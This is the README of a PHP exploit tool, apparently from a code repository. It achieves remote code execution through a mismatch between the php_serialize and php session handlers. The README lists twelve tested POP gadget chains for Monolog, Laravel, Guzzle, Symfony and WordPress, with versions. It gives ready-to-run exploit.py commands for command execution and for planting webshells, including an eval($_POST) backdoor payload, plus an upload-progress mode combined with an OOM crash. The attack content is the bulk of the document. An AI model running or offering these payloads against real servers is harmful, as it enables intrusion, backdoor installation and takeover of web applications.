Exploits the interaction between php_serialize and php session handlers: when one endpoint writes sessions with php_serialize (Laravel, Symfony default) and another reads with the php handler (PHP default), injected pipe characters cause arbitrary deserialization at session_start(). 12 built-in POP chains covering current and legacy library versions: - monolog3-fw: Monolog 3.0+ (tested 3.12.1, latest) - laravel10-cmd/fw: illuminate 10.0-13.x+ (tested v13.38.0, latest) - monolog-cmd/fw: Monolog 1.17.2-2.x - laravel-cmd/fw: illuminate 5.4-8.x - guzzle-fw: Guzzle 4.0-7.x - symfony-cmd/fw: Symfony 2.6-4.4.18 - wordpress-cmd/fw: WordPress 6.4.0-6.4.1 All chains tested end-to-end through the full HTTP exploit flow on PHP 8.3. Accepts custom phpggc chains via --chain-file.
238 lines
9.6 KiB
Markdown
238 lines
9.6 KiB
Markdown
# Session Deserialization RCE via Handler Mismatch
|
|
|
|
Remote code execution through PHP's `session.serialize_handler` mismatch.
|
|
No LFI required. No FPM dependency. Works on any SAPI.
|
|
|
|
## How It Works
|
|
|
|
PHP supports multiple session serialization formats. The two relevant ones:
|
|
|
|
- `php` (the default): stores session data as `key|serialized_value`
|
|
- `php_serialize`: stores session data as a single `serialize()`d array
|
|
|
|
When one endpoint writes session data using `php_serialize` and another
|
|
reads it using the `php` handler, the pipe character `|` inside a
|
|
serialized string is misinterpreted as a key/value delimiter. This causes
|
|
PHP to call `unserialize()` on attacker-controlled data when
|
|
`session_start()` runs on the second endpoint.
|
|
|
|
### Attack flow
|
|
|
|
```
|
|
1. Attacker POSTs to endpoint A (php_serialize handler):
|
|
data = |O:28:"Monolog\Handler\GroupHandler":1:{...}
|
|
|
|
2. PHP stores this in the session file as:
|
|
a:1:{s:4:"data";s:550:"|O:28:"Monolog\Handler\GroupHandler":1:{...}";}
|
|
|
|
3. Attacker GETs endpoint B (php handler) with the same session ID.
|
|
session_start() reads the file and splits on |:
|
|
key = a:1:{s:4:"data";s:550:"
|
|
value = O:28:"Monolog\Handler\GroupHandler":1:{...}
|
|
PHP calls unserialize() on the value.
|
|
|
|
4. The deserialized object's __destruct method fires,
|
|
triggering the POP gadget chain for RCE.
|
|
```
|
|
|
|
### What makes a target vulnerable
|
|
|
|
The exploit requires ALL of the following:
|
|
|
|
1. **Two endpoints with different session serialize handlers.** One must use
|
|
`php_serialize`, the other must use the default `php`. PHP's own default
|
|
is `php` for both, so this mismatch only occurs when a framework or
|
|
application explicitly changes the handler for some endpoints.
|
|
|
|
2. **Shared session storage.** Both endpoints must read/write the same
|
|
session files (same `session.save_path`). This is the default when
|
|
both run under the same PHP installation.
|
|
|
|
3. **A POP gadget chain in autoloaded classes.** The deserialized objects
|
|
must exist in classes that PHP has loaded (via autoloader or require).
|
|
The chain must reach a dangerous sink (system(), file_put_contents(), etc.)
|
|
through magic methods (__destruct, __wakeup, __toString, etc.).
|
|
|
|
### Where this mismatch occurs in practice
|
|
|
|
- **Laravel** sets `session.serialize_handler = php_serialize` in its
|
|
session bootstrap. Any non-Laravel PHP on the same vhost (phpMyAdmin,
|
|
admin scripts, health checks, legacy code) uses the PHP default `php`.
|
|
|
|
- **Symfony** configures `php_serialize` via `NativeSessionStorage`. Adjacent
|
|
applications on the same server may not.
|
|
|
|
- **Shared hosting** where multiple PHP applications share the same session
|
|
save path but use different frameworks.
|
|
|
|
- **Mixed codebases** where old and new code coexist on the same domain,
|
|
with the new code using a framework and the old code using raw PHP sessions.
|
|
|
|
A single-application deployment where every endpoint uses the same handler
|
|
is NOT vulnerable to this attack.
|
|
|
|
## Injection Modes
|
|
|
|
### inject (primary)
|
|
|
|
The target has an endpoint that stores POST data into `$_SESSION` using
|
|
the `php_serialize` handler. The attacker sends `|<serialized_chain>` as
|
|
a POST value. A second request to a `php`-handler endpoint triggers
|
|
deserialization.
|
|
|
|
```bash
|
|
python3 exploit.py --inject-url http://target/save.php \
|
|
--inject-param data \
|
|
--trigger-url http://target/view.php \
|
|
--chain laravel10-cmd --cmd 'id'
|
|
```
|
|
|
|
### progress (no app session storage needed)
|
|
|
|
Uses `session.upload_progress` to inject the `|` character via the upload
|
|
filename field. No application-level session writing needed. Combined with
|
|
the OOM crash from CVE-2026-109618 to persist past cleanup.
|
|
|
|
Limitation: multipart filenames cannot contain NULL bytes, so the POP chain
|
|
can only use public properties (no protected/private property serialization).
|
|
|
|
```bash
|
|
python3 exploit.py --mode progress \
|
|
--write-url http://target/any.php \
|
|
--trigger-url http://target/default.php \
|
|
--chain wordpress-cmd --cmd 'id'
|
|
```
|
|
|
|
## Built-in POP Chains
|
|
|
|
Each chain is tested end-to-end through the full HTTP exploit flow
|
|
on PHP 8.3 against the listed library version.
|
|
|
|
### Current versions (work on latest releases)
|
|
|
|
| Chain | Library | Tested on | Type | Description |
|
|
|---|---|---|---|---|
|
|
| `monolog3-fw` | monolog/monolog 3.0+ | 3.12.1 | File write | GroupHandler > DeduplicationHandler > file_put_contents |
|
|
| `laravel10-cmd` | illuminate 10.0-13.x+ | v13.38.0 | Command | PendingBroadcast > CommonMark Environment > ChainedBatchTruthTest > system() |
|
|
| `laravel10-fw` | illuminate 10.0-13.x+ | v13.38.0 | File write | Same chain, writes via system("printf ... > path") |
|
|
|
|
### Legacy versions
|
|
|
|
| Chain | Library | Tested on | Type | Description |
|
|
|---|---|---|---|---|
|
|
| `monolog-cmd` | monolog/monolog 1.17.2-2.x | 2.10.0 | Command | SyslogUdpHandler > BufferHandler (self-ref) > system() |
|
|
| `monolog-fw` | monolog/monolog 1.17.2-2.x | 2.10.0 | File write | Same chain, writes via system("printf ...") |
|
|
| `laravel-cmd` | illuminate 5.4-8.x | 8.83.27 | Command | PendingBroadcast > Dispatcher > system() |
|
|
| `laravel-fw` | illuminate 5.4-8.x | 8.83.27 | File write | Same chain, writes via system("printf ...") |
|
|
| `guzzle-fw` | guzzlehttp/guzzle 4.0-7.x | 7.16.0 | File write | FileCookieJar > save() > file_put_contents (JSON wrapped) |
|
|
| `symfony-cmd` | symfony 2.6-4.4.18 | 4.4.18 | Command | WindowsPipes > SortableIterator > ArrayObject > call_user_func("system") |
|
|
| `symfony-fw` | symfony 2.6-4.4.18 | 4.4.18 | File write | Same chain, writes via system("printf ...") |
|
|
| `wordpress-cmd` | WordPress 6.4.0-6.4.1 | 6.4.1 | Command | WP_HTML_Token.__destruct > call_user_func (public props, NULL-free) |
|
|
| `wordpress-fw` | WordPress 6.4.0-6.4.1 | 6.4.1 | File write | Same chain, writes via system("printf ...") |
|
|
|
|
### Why some chains have version ceilings
|
|
|
|
- **Monolog 3.0+** introduced typed properties (`Monolog\Level` enum). The 2.x
|
|
RCE1 chain sets `$level = null`, which throws `TypeError` on typed properties.
|
|
The 3.x chain uses `GroupHandler` + `DeduplicationHandler` instead.
|
|
|
|
- **Laravel 9.0+** changed `Dispatcher::dispatch()` to wrap string listeners
|
|
in `createClassListener()`, which calls `$this->container->make()` on a null
|
|
container. The RCE22 chain routes through `league/commonmark` `Environment`
|
|
instead.
|
|
|
|
- **Guzzle 8.0+** added `__unserialize()` on `FileCookieJar` that throws
|
|
`LogicException` on deserialization.
|
|
|
|
- **Symfony 4.4.19+** added `__wakeup()` on `WindowsPipes` that throws
|
|
`BadMethodCallException`.
|
|
|
|
- **WordPress 6.4.2+** added `__wakeup()` on `WP_HTML_Token` that throws
|
|
`LogicException`. All other WP core gadget classes (`FilteredIterator`,
|
|
`Requests\Hooks`) are also patched. No known POP chain exists in WordPress
|
|
7.x core.
|
|
|
|
### Custom chains
|
|
|
|
Any phpggc chain works via `--chain-file`. Supports raw PHP serialized output
|
|
and base64 (auto-detected).
|
|
|
|
```bash
|
|
phpggc Monolog/RCE1 system id > chain.bin
|
|
python3 exploit.py --inject-url http://target/save.php \
|
|
--inject-param data \
|
|
--trigger-url http://target/view.php \
|
|
--chain-file chain.bin
|
|
|
|
# Or base64:
|
|
phpggc Laravel/RCE22 system id -b > chain.b64
|
|
python3 exploit.py ... --chain-file chain.b64
|
|
```
|
|
|
|
## Usage
|
|
|
|
```bash
|
|
# File write webshell (Monolog 3.x, current):
|
|
python3 exploit.py --inject-url http://target/save.php \
|
|
--inject-param data \
|
|
--trigger-url http://target/view.php \
|
|
--chain monolog3-fw \
|
|
--write-path /var/www/html/shell.php
|
|
|
|
# Direct command execution (Laravel 10+, current):
|
|
python3 exploit.py --inject-url http://target/save.php \
|
|
--inject-param data \
|
|
--trigger-url http://target/view.php \
|
|
--chain laravel10-cmd --cmd 'id'
|
|
|
|
# Custom shell code:
|
|
python3 exploit.py ... --chain monolog3-fw \
|
|
--write-path /var/www/html/s.php \
|
|
--shell-code '<?php eval($_POST["x"]); ?>'
|
|
|
|
# Progress mode (no POST-to-session endpoint needed):
|
|
python3 exploit.py --mode progress \
|
|
--write-url http://target/any_endpoint.php \
|
|
--trigger-url http://target/default_handler.php \
|
|
--chain wordpress-cmd --cmd 'id'
|
|
```
|
|
|
|
## Options
|
|
|
|
```
|
|
--mode {inject,progress} Injection mode (default: inject)
|
|
--inject-url URL Endpoint that stores POST data in $_SESSION (php_serialize)
|
|
--inject-param PARAM POST parameter stored in $_SESSION (default: data)
|
|
--write-url URL Any endpoint for progress mode injection
|
|
--trigger-url URL Endpoint using default php handler (triggers deserialization)
|
|
--chain CHAIN Built-in POP chain name
|
|
--chain-file FILE Custom serialized chain (phpggc output, raw or base64)
|
|
--write-path PATH File path for fw chains (webshell destination)
|
|
--shell-code CODE Custom PHP code for fw chains
|
|
--cmd CMD Command for cmd chains
|
|
--fields N OOM pressure fields for progress mode (default: 30000)
|
|
--field-size N Bytes per OOM field (default: 512)
|
|
```
|
|
|
|
## Test Environment
|
|
|
|
The test endpoints used for verification:
|
|
|
|
`test_serialize.php` (inject endpoint, uses php_serialize):
|
|
```php
|
|
<?php
|
|
ini_set('session.serialize_handler', 'php_serialize');
|
|
session_start();
|
|
foreach ($_POST as $k => $v) $_SESSION[$k] = $v;
|
|
```
|
|
|
|
`test_trigger.php` (trigger endpoint, uses default php handler):
|
|
```php
|
|
<?php
|
|
require 'vendor/autoload.php'; // loads framework classes
|
|
session_start(); // deserializes session data
|
|
```
|
|
|
|
The mismatch between `php_serialize` on the first and `php` (default) on the
|
|
second is what enables the attack.
|